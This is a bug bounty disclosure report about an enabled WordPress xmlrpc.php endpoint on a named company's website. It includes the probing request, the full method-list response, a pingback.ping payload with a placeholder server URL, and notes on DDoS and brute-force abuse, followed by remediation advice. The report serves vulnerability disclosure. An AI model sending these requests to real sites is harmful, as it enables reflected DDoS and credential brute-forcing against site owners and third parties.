xmlrpc.php file is enable it will used for (DOS) and bruteforce attack Secer's Blog

severity_rating: high created_at: 2018-11-21 05:29:19 vendor: formassembly https://hackerone.com/formassembly bounty_amount:

Wordpress that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. The website https://www.formassembly.com/ has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts.

In order to determine whether the xmlrpc.php file is enabled or not, using the Repeater tab in Burp, send the request below.

POST /wp/xmlrpc.php HTTP/1.1
Host: www.formassembly.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
==================================================
HTTP/1.1 200 OK
Date: Wed, 21 Nov 2018 16:43:06 GMT
Content-Type: text/xml; charset=UTF-8
Connection: close
Server: nginx
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
Content-Length: 4272

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>

Notice that a successful response is received showing that the xmlrpc.php file is enabled.
Now, considering the domain https://www.formassembly.com the xmlrpc.php file discussed above could potentially be abused to cause a DDOS attack against a victim host. This is achieved by simply sending a request that looks like below.

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://<YOUR SERVER ></string></value>
</param>
<param>
<value><string>https://www.formassembly.com/</string></value>
</param>
</params>
</methodCall>

remediation:

If the XMLRPC.php file is not being used, it should be disabled and removed completely to avoid any potential risks. Otherwise, it should at the very least be blocked from external access.

Thank you

note: screenshots are given below

Impact

This method is also used for brute force attacks to stealing the admin credentials and other important credentials

This can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.

xmlrpc.php file is enable it will used for (DOS) and bruteforce attack

Impact

Hacking more